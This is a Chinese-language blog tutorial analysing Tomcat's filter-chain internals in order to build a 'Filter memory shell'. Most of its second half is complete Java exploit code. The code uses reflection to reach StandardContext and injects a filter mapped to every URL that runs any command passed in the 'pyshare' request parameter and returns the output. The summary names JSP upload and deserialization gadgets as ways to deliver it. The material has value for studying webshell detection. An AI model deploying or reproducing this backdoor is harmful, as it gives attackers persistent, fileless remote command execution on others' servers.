Filter内存马
Filter内存马
0x01Filter机制分析
- 当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
- 但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
- 只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能
我们创建一个Filter来进行动态调试
public class Filterdemo1 implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("构造初始化完成");
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行了过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }
    @Override
    public void destroy() {
        System.out.println("执行了销毁操作");
    }
}
在filterChain.doFilter(servletRequest,servletResponse);设置断点
步入后是执行doFilter方法继续步进
这个时候直接跳到了最后
继续步入,发现这个时候我们有个叫做filters的属性,然后里面有两个对象一个是我们自己创建的filterdemo另一个是一个叫tomcat websocket filter的对象,可以从名字中看出来tomcat会自动创建一个filter

看后面有个变量filters

追进去随后出来发现我们拿到的第一个filter使我们的filter继续往下走


随后调用了doFilter方法

继续往下走随后又回到了开始的地方

这个时候pos就等于2了代表我们拿到就是Tomcat WebScoket

步入到后面就调用了servlet的service方法

总体来说
执行的顺序就是那个filter链子然后tomcat会自动的再后面调用Tomcat自带的filter就会调用到serlvet
0x02Filter写马分析
 分析之前先确定一下我们的目的我们的目的是写一个filter马,所以要去搞定怎么用我们传入的参数去创建一个filter
0x1创建filter

这些invoke是执行函数我们在最远的地方设置一个断点然后一步往前走发现,
我们看到现在的类是 StandardEngineValve,对应的 Pipeline 就是 EnginePipeline;它进行了 invoke() 方法的调用,这个 invoke() 方法的调用的目的地是 AbstractAccessLogValve 类的 invoke() 方法。其实这一步已经安排了一个 request, wrapper, servlet 传递的顺序。然后就网上一直调用
这里用个师傅的图:

随后我们看dofilter是怎么调用的
看到我们的FilterChain是怎么创建的


在这里是先判断了 FilterMaps 是否为空,若为空则会调用context.findFilterMaps()从StandardContext寻找并且返回一个FilterMap数组。看后面的构造

遍历StandardContext.filterMaps得到filter与URL的映射关系并通过,然后通过一系列的匹配把它加入到StandardContext.filterConfigs随后调用findFilterConfig把这个数据加入到filter链里面去

0x2构造分析
流程很清晰,Tomcat会通过invoke方法创建一个filterchain然后doFilter() —-> internalDoFilter() —-> doFilter()这样执行一个doFilter判断一次,最后一个会跳到servlet.service(),
然后filter的创建思路是
我们攻击的思路就是 createFilterChain() 这个方法会判断filterMaps是否为空,如果是空的话回去StandardContext寻找并且返回一个FilterMap数组,遍历StandardContext.filterMaps得到filter与URL的映射关系然后用matchDispatcher()``matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象
这样说下来就是我们要解决两个点一个是filtermaps,和filterconfigs都要加入我们构造的filter
而这个 filterMaps 中的数据对应 web.xml 中的 filter-mapping 标签,对应的是名字和映射路径,然后就是想办法给它加数据了
然后在类StandardContext 里面有这两个方法可以直接加进去这个数据

这里的改filtermaps就是更改webxml里面的配置看一下
StandardContext 这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。
里面有三个和Filter有关的成员变量:
filterMaps变量:包含所有过滤器的URL映射关系 
filterDefs变量:包含所有过滤器包括实例内部等变量 
filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理
filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。
存在的包含关系

filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据
filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系
0x03exp构造
这里我怎么去动态的写入马呢
- 
先去获取 StandardContext- 获取filterConfigs
 
- 获取
- 
构造恶意的filter - 构造一个filterDef
- FilterMaps对象
 
- 
然后把filter,filterDef,FilterMaps都传入到filterConfigs中 0x1获取StandrdContextServletContext servletContext = req.getServletContext(); ApplicationContextFacade contextFacade = (ApplicationContextFacade) servletContext; Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(contextFacade); Field field = ApplicationContext.class.getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = null; standardContext = (StandardContext) field.get(applicationContext); Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigs.setAccessible(true); Map configs = (Map) filterConfigs.get(standardContext);解释一下:在tomcat中ServletContext的实现是ApplicationContext。在Web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,。 拿的顺序就是 ServletContext----ApplicationContextFacade------ApplicationContext-----StandardContext-----filterConfigs 0x2写马写马,在dofilter中写 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException { String cmd; if ((cmd = servletRequest.getParameter("pyshare")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } }反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去 FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); filterMap.addURLPattern("/*"); /** * 将filtermap 添加到 filterMaps 中的第一个位置 */ standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); configs.put(name,filterConfig);0x3完整exp
public class filtershell2 extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            doGet(req,resp);
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            ServletContext servletContext = req.getServletContext();
            ApplicationContextFacade contextFacade = (ApplicationContextFacade) servletContext;
            Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(contextFacade);
            Field field = ApplicationContext.class.getDeclaredField("context");
            field.setAccessible(true);
            StandardContext standardContext = null;
            standardContext = (StandardContext) field.get(applicationContext);
            Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            Map configs = (Map) filterConfigs.get(standardContext);
            String name ="white_romm";
            if (configs.get(name)==null){
                Filter filter=new Filter(){
                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {
                    }
                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {
                        String cmd;
                        if ((cmd = servletRequest.getParameter("pyshare")) != null) {
                            Process process = Runtime.getRuntime().exec(cmd);
                            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                                    new java.io.InputStreamReader(process.getInputStream()));
                            StringBuilder stringBuilder = new StringBuilder();
                            String line;
                            while ((line = bufferedReader.readLine()) != null) {
                                stringBuilder.append(line + '\n');
                            }
                            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                            servletResponse.getOutputStream().flush();
                            servletResponse.getOutputStream().close();
                            return;
                        }
                    }
                    @Override
                    public void destroy() {
                    }
                };
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName(name);
                filterDef.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(filterDef);
                FilterMap filterMap = new FilterMap();
                filterMap.setFilterName(name);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                filterMap.addURLPattern("/*");
                /**
                 * 将filtermap 添加到 filterMaps 中的第一个位置
                 */
                standardContext.addFilterMapBefore(filterMap);
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                configs.put(name,filterConfig);
            }
        } catch (IllegalAccessException | NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (InvocationTargetException e) {
            throw new RuntimeException(e);
        } catch (NoSuchMethodException e) {
            throw new RuntimeException(e);
        } catch (InstantiationException e) {
            throw new RuntimeException(e);
        }
    }
}
把这个对象打进tomcat然后访问一下我们的servlet的路径shell之后无论在那个路径使用马子都可以pyshare

0x04小结
总结下来就是要去获取StandardContext,然后利用反射的原理往里面注入一个Servlet,表现形式为 Filter。具体的实施可以是上传 .jsp 文件,也可以反序列化注入对象,比如说我们的cc11就可用加载字节码文件把他写到静态代码块中。
 
                    
                
 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号